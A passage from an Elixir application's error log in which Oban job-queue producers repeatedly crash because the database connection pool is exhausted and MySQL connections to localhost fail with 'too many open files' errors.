{Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.99326>, refresh_timer: #Reference<0.2525715032.1077411843.224091>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:53:25.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 897ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:53:13.239472Z], limit: 5, uuid: "7197781a-f2af-43bb-9883-072fff0c9616", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:13.239478Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.99328>, refresh_timer: #Reference<0.2525715032.1068236804.240421>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:53:28.094000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:29.997000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:30.977000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:31.769000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:32.638000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:32.663000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:33.326000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:37.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 809ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:53:25.241354Z], limit: 20, uuid: "28d04995-9f45-4819-8dd2-d46b999037b7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:25.241361Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.248445>, refresh_timer: #Reference<0.2525715032.1068236804.240485>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:53:37.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1083ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:53:25.248743Z], limit: 5, uuid: "f1c8e52c-a8a5-4d08-9633-b767dc5fa2ab", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:25.248749Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.248448>, refresh_timer: #Reference<0.2525715032.1121189889.99521>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:53:37.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1048ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:53:25.247428Z], limit: 3, uuid: "05dab982-7a9d-4b33-a1fd-c05a5b5b210e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:25.247433Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.248444>, refresh_timer: #Reference<0.2525715032.1099169794.248429>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:53:37.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1080ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:53:25.247252Z], limit: 50, uuid: "3b139ae9-0da3-46c7-8538-f2c51bd94e71", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:25.247257Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.248447>, refresh_timer: #Reference<0.2525715032.1068236804.240516>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:53:37.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1037ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:53:25.247101Z], limit: 10, uuid: "79536ec8-ceee-49a6-8329-f8b58cfbcbe9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:25.247108Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.248446>, refresh_timer: #Reference<0.2525715032.1068236804.240508>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:53:37.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1014ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:53:25.249033Z], limit: 5, uuid: "c1f04d1b-1f15-46e4-905b-b774aa71cf5b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:25.249038Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.248443>, refresh_timer: #Reference<0.2525715032.1099169794.248435>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:53:38.452000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:41.396000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:42.159000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:42.889000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:44.932000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:47.738000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:49.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1050ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:53:37.241200Z], limit: 50, uuid: "b65f1106-f77a-4eaa-bc36-3661aa2ac3db", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:37.241209Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.248926>, refresh_timer: #Reference<0.2525715032.1068236804.240589>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:53:49.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1061ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
